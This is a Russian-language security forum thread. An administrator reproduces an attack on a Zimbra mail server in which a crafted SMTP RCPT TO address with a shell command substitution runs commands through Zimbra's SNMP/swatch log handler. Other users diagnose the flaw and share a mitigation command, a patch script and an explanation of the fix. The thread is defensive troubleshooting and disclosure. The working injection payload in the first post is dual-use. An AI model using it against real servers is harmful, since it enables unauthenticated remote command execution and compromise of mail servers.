Профиль: Аноним (вход | регистрация) неRU opennet.me  
The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



"Инъекция через  RCPT TO: в postfix из комплекта Zimbra."
Вариант для распечатки  
Пред. тема | След. тема 
Форум Информационная безопасность (Обнаружение и предотвращение атак / Linux)
Изначальное сообщение [ Отслеживать ]

"Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +/
Сообщение от eteveto (ok), 13-Авг-26, 21:32 
Кратко - вот повтор действий взлома

$telnet xxx.ru 25
Trying 999.99.999.999...
Connected to xxx.ru.
Escape character is '^]'.
220 xxx.ru ESMTP Postfix
HELO probe.test
250 xxx.ru
MAIL FROM: test@probe.test
250 2.1.0 Ok
RCPT TO: <"x: Service status change: localhost $(echo atas > mailboxd/webapps/zimbra/public/atas.txt) changed from stopped to running"@probe.test>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
atas
.
250 2.0.0 Ok: queued as 8691A9D04072
QUIT
221 2.0.0 Bye
Connection closed by foreign host.

Это итог.

$ls -l /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt
-rw-r----- 1 zimbra zimbra 5 Aug 13 20:51 /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt

Грубо говоря, от пользователя, под которым постфикс, выполняется всё, что в $(). А это много...

Дополнительно не проверял много, но при нескольких других вариантах строки с инъекцией код не исполняется. Вот почему-то именно такой вариант срабатывает.

Возможно вариант обсуждался. Если кто помнит - подскажите ссылку на ветку. Поиском по строчке "$()" я буду искать долго...

Нужен (срочный) совет, что можно на ходу подправить в конфиге постфикса, чтобы эту дырку закрыть. Версия постфикса - 3.6.1. Заранее благодарю.

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения [Сортировка по времени | RSS]


1. "Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +/
Сообщение от нах. (?), 14-Авг-26, 09:25 
> Кратко - вот повтор действий взлома

разумеется ты создал issue на сайте проекта, создал же, га?!

> RCPT TO: <"x: Service status change: localhost $(echo atas > mailboxd/webapps/zimbra/public/atas.txt)

кросивое.

> -rw-r----- 1 zimbra zimbra 5 Aug 13 20:51 /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt

                ^^^^

> Грубо говоря, от пользователя, под которым постфикс, выполняется всё, что в $().

ты совсем не умеешь читать, да?

> Возможно вариант обсуждался. Если кто помнит - подскажите ссылку на ветку. Поиском

google: zimbra vulnerabilites (latest)

> Нужен (срочный) совет, что можно на ходу подправить в конфиге постфикса, чтобы

ничего. В нем разьве что посмотреть, как именно он передает почту адресованную локальным клиентам в зимбру. И идти ковырять то чему он ее передает. Или просто выбросить - broken by design.

strict_rfc821_envelopes = yes
может конечно быть временной затычкой, но это даже не смешно - она ж так же и внутренние адреса парсит.

Ответить | Правка | Наверх | Cообщить модератору

2. "Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +/
Сообщение от eteveto (ok), 14-Авг-26, 10:49 
Отвечаю в обратном порядке. И всё ещё надеюсь на полезный совет.

"в Zimbra этот параметр обычно задаётся в конфигурационном файле Postfix (например, master.cf.in) через опцию -o strict_rfc821_envelopes=yes" (с) из интернетов

Типа, как тут - https://github.com/thangnguyennang/zimbra-postscreen/blob/ma...

Проверил это сразу, как начал копать про настройки постфикса.

$grep strict_rfc821_envelopes /opt/zimbra/common/conf/*
/opt/zimbra/common/conf/main.cf.default:strict_rfc821_envelopes = no
/opt/zimbra/common/conf/master.cf:    -o strict_rfc821_envelopes=yes
/opt/zimbra/common/conf/master.cf.in:    -o strict_rfc821_envelopes=yes
grep: /opt/zimbra/common/conf/postfix-files.d: Is a directory

То есть, этот параметр включён (не выключался с момента установки). И это проблему не решает. Толи постфикс не исполняет rfc821 даже если параметр включен, толи сам rfc821 такое позволяет.

По поводу "google: zimbra vulnerabilites (latest)" - да, посмотрю. Но проблема не обёртке Зимбры, а в постфиксе. И ещё - у меня Гугл под всякими запретами, то ли РКН, то ли самого Гугл, то ли всё вместе... включая местные ограничения для субъекта федерации в зоне боевых действий. Оно то есть, то его нет. Поэтому буду искать Яндексом.

По поводу " -rw-r----- 1 zimbra zimbra" - да, постфикс в обёртке Зимбры выполняется от пользователя zimbra. Или что там ещё я не смог прочитать? Размер созданного файла 5 байт. Ровно столько, сколько выдало в поток "echo atas" - 4 буквы и 0A (лайнфид).

По поводу "ты создал issue на сайте проекта...?". На сайте которого из проектов, Зимбры или постфикса? Конечно не создал. Где создавать - это ещё надо разбираться. А там ещё непонятно что будет с доступом. Например, https://support.zimbra.com/ у меня порезан. Проверено через нескольких провайдеров... моего субъекта федерации с особенностями.

Ответить | Правка | Наверх | Cообщить модератору

11. "Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +/
Сообщение от нах. (?), 18-Авг-26, 13:28 
> По поводу "google: zimbra vulnerabilites (latest)" - да, посмотрю. Но проблема не
> обёртке Зимбры, а в постфиксе. И ещё - у меня Гугл

проблема точно не в постфиксе  (впрочем, тебе уже ответили любители этого чуда, оказывается даже такие попадаются)

> По поводу " -rw-r----- 1 zimbra zimbra" - да, постфикс в обёртке
> Зимбры выполняется от пользователя zimbra. Или что там ещё я не

если авторы этого угребища даже не понимают зачем нужно разделение пользователей от которых запускаются демоны в юникс-лайк системах - добрый совет, выбрось это в помойку. Тут уже никакие костыли не помогут в принципе.

(но я все же хочу верить в лучшее и вероятнее всего нет, он запускается не от этого пользователя. Не могут они быть ну настолько ... )


> По поводу "ты создал issue на сайте проекта...?". На сайте которого из
> проектов, Зимбры или постфикса? Конечно не создал. Где создавать - это

зимбры.

Ответить | Правка | Наверх | Cообщить модератору

3. "-"  +1 +/
Сообщение от Admin (??), 14-Авг-26, 16:52 
Инъекция происходит через процесс swatch, входящий в состав службы Zimbra SNMP. Этот процесс следит за логом зимбры и парсит его, передавая результаты другим процессам. И при этом ничего не экранирует в найденных строках.

Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp

Ответить | Правка | Наверх | Cообщить модератору

4. "-"  +/
Сообщение от Admin (??), 14-Авг-26, 17:04 
> Инъекция происходит через процесс swatch, входящий в состав службы Zimbra SNMP. Этот
> процесс следит за логом зимбры и парсит его, передавая результаты другим
> процессам. И при этом ничего не экранирует в найденных строках.
> Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp

И в настройках постфикса ничего крутить не надо, дело не в нем.

Ответить | Правка | Наверх | Cообщить модератору

5. "-"  +/
Сообщение от eteveto (ok), 14-Авг-26, 19:50 
> Инъекция происходит через процесс swatch, входящий в состав службы Zimbra SNMP. Этот
> процесс следит за логом зимбры и парсит его, передавая результаты другим
> процессам. И при этом ничего не экранирует в найденных строках.
> Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp

Спасибо! Да, после отключения snmp Зимбры действительно больше не исполняется.

Тему можно закрывать.

PS: только я не внимательный - мало задизейблить сервис, нужно его ещё и остановить. Ну, как минимум перезапустить саму Зимбру.

Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

6. "-"  +1 +/
Сообщение от Аноним (6), 14-Авг-26, 21:53 
>следит за логом зимбры и парсит его, передавая результаты другим процессам. И при этом ничего не экранирует в найденных строках

Log4j ни кого ни чему не научил. Прыжки на грабли надо делать олимпийским видом спорта

Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

12. "-"  +/
Сообщение от нах. (?), 18-Авг-26, 13:37 
> Log4j ни кого ни чему не научил. Прыжки на грабли надо делать
> олимпийским видом спорта

мне кажется эти - вообще необучаемые.

Ответить | Правка | Наверх | Cообщить модератору

7. Скрыто модератором  +/
Сообщение от eteveto (ok), 15-Авг-26, 14:51 
Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

8. "Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +1 +/
Сообщение от Admin (??), 17-Авг-26, 18:12 
Неофициальный патч

#!/bin/sh
#
# JAD - Patch Zimbra swatchrc.in for SNMP exploit mitigation
#     - Jun 26, 2026
#

swatchrc=/opt/zimbra/conf/swatchrc.in

grep -q '#JAD' $swatchrc
if [ $? -eq 1 ]; then

  # do not overwrite with zero sized file
  if [ -s $swatchrc ]; then
     cp $swatchrc $swatchrc.bak
     status=$?
  fi

  # if copy succeeded then it is a go
  if [ $status -eq 0 ]; then
     echo "Adding patch"

     perl -0777 -i -pe '
       s{
         ^(watchfor\s+/\:\s+Service\s+status\s+change:\s+\(\\S\+\)\s+\(\.\*\)\s+changed\s+from\s+stopped\s+to\s+running/)
       }{
         "#JAD $1\n" .
         "watchfor /: Service status change: (\\S+) ([a-z0-9_-]+) changed from stopped to running/"
       }gexm;

       s{
         ^(watchfor\s+/\:\s+Service\s+status\s+change:\s+\(\\S\+\)\s+\(\.\*\)\s+changed\s+from\s+running\s+to\s+stopped/)
       }{
         "#JAD $1\n" .
         "watchfor /: Service status change: (\\S+) ([a-z0-9_-]+) changed from running to stopped/"
       }gexm;

       s{
         ^(perlcode\s+0\s+sub\s+dosnmp\s+\{.*?\})\s*$
       }{
         "#JAD $1\n" .
         "perlcode 0 sub dosnmp { return 1; }"
       }gexm;
     ' $swatchrc
  fi
else
  echo "nothing to patch"
fi

Ответить | Правка | Наверх | Cообщить модератору

9. "Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +/
Сообщение от eteveto (ok), 17-Авг-26, 19:19 
Угу.
diff swatchrc.in.bak swatchrc.in
26,27c26,27
< perlcode 0 sub dosnmp {   my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; }
<
---
> #JAD perlcode 0 sub dosnmp {   my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; }
> perlcode 0 sub dosnmp { return 1; }

30c30,31
< watchfor /: Service status change: (\S+) (.*) changed from stopped to running/
---
> #JAD watchfor /: Service status change: (\S+) (.*) changed from stopped to running/
> watchfor /: Service status change: (\S+) ([a-z0-9_-]+) changed from stopped to running/

32c33,34
< watchfor /: Service status change: (\S+) (.*) changed from running to stopped/
---
> #JAD watchfor /: Service status change: (\S+) (.*) changed from running to stopped/
> watchfor /: Service status change: (\S+) ([a-z0-9_-]+) changed from running to stopped/

То есть, что-то просто не выполняем. И .* меняем на более жёсткое условие. Патчик применил, но snmp включать все равно пока не буду. "Обжёгшийся эксперимент огня боится" © Сэмюэл Клеменс

И ещё раз спасибо!

Ответить | Правка | Наверх | Cообщить модератору

10. "Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +1 +/
Сообщение от tonysemail (??), 18-Авг-26, 01:19 
> Кратко - вот повтор действий взлома

Да. Речь идёт о критической command injection уязвимости в SNMP-мониторинге Zimbra, исправленной в Zimbra Collaboration Suite 10.1.20, выпущенной 20 июля 2026 года.

Что именно происходит

Уязвимость находится в цепочке:

Zimbra → zmswatch / Swatchdog → обработка строк zimbra.log → SNMP notification/trap

Swatchdog (zmswatch) следит за zimbra.log и при определённых событиях, например изменении состояния сервиса, запускает действие для отправки SNMP trap. В штатной конфигурации соответствующие настройки находятся, в частности, в /opt/zimbra/conf/swatchrc.in, а рабочая конфигурация генерируется через zmsnmpinit.

Проблема заключается в том, что данные, попадающие в обрабатываемую Swatchdog строку, могли быть использованы для внедрения произвольной команды. Поэтому злоумышленнику потенциально достаточно добиться попадания специально сформированных данных в обрабатываемый Zimbra log — после чего уязвимый обработчик выполняет их в контексте процесса Swatchdog.

По опубликованным данным, эксплуатация возможна без аутентификации, если одновременно:

включены SNMP notifications;
работает интегрированный Swatchdog/zmswatch;
используется уязвимая версия Zimbra.

В таком случае последствия — выполнение произвольных команд ОС на сервере Zimbra, то есть фактически потенциальный полный компромисс почтового сервера.

Важный нюанс

Это не классическая уязвимость самого SNMP-протокола и не обязательно означает, что злоумышленник должен иметь доступ к UDP/161.

SNMP здесь является частью цепочки обработки событий. Сам Zimbra использует Swatchdog для наблюдения за логом и формирования SNMP-уведомлений; уязвимое место находится в обработке события/параметров перед вызовом команды. В старой документации Zimbra прямо описана схема, где zmswatch ищет в zimbra.log события вроде Service status change и при совпадении вызывает /opt/zimbra/snmp/bin/snmptrap.

Насколько всё серьёзно

Очень серьёзно. SecurityWeek характеризует её как critical и указывает, что неаутентифицированный атакующий может сформировать вредоносные данные для выполнения произвольных OS-команд в фоне.

При успешной эксплуатации атакующий потенциально получает возможность:

читать/изменять почтовые данные;
получить конфигурацию и секреты Zimbra;
закрепиться на сервере;
использовать сервер как точку дальнейшего проникновения;
компрометировать другие системы, доступные с Zimbra.

При этом официальный Zimbra пока не опубликовал CVE и CVSS для этой конкретной SNMP-уязвимости — на странице advisory они всё ещё обозначены как TBD.

Что делать

Основное решение — обновиться до Zimbra 10.1.20 или более новой версии. Именно в 10.1.20 Zimbra указывает permanent fix для этой проблемы.

Если обновление немедленно невозможно, разумная временная мера — отключить SNMP notifications/Swatchdog, если они не нужны. Например, в community advisory для производных Zimbra рекомендуются остановка zmswatch и отключение SNMP-сервиса; при этом обычная почтовая функциональность Zimbra не должна зависеть от SNMP.

Отдельно важно проверить логи, если сервер был доступен потенциальному атакующему до установки патча. На данный момент публичных подтверждений эксплуатации именно этой уязвимости in the wild не обнаружено, но Zimbra раскрыла технические детали намеренно ограниченно.

Ответить | Правка | Наверх | Cообщить модератору

13. "Инъекция через  RCPT TO: в postfix из комплекта Zimbra."  +/
Сообщение от Admin (??), 18-Авг-26, 15:14 
>> Кратко - вот повтор действий взлома
> Да. Речь идёт о критической command injection уязвимости в SNMP-мониторинге Zimbra, исправленной
> в Zimbra Collaboration Suite 10.1.20, выпущенной 20 июля 2026 года.

Зимбра - нехорошие люди. 10.1.20 доступна только за деньги. Пользователи открытой версии сидят на 10.1.18 и юзают костыли.

https://github.com/Zimbra/packages/tags

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2026 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру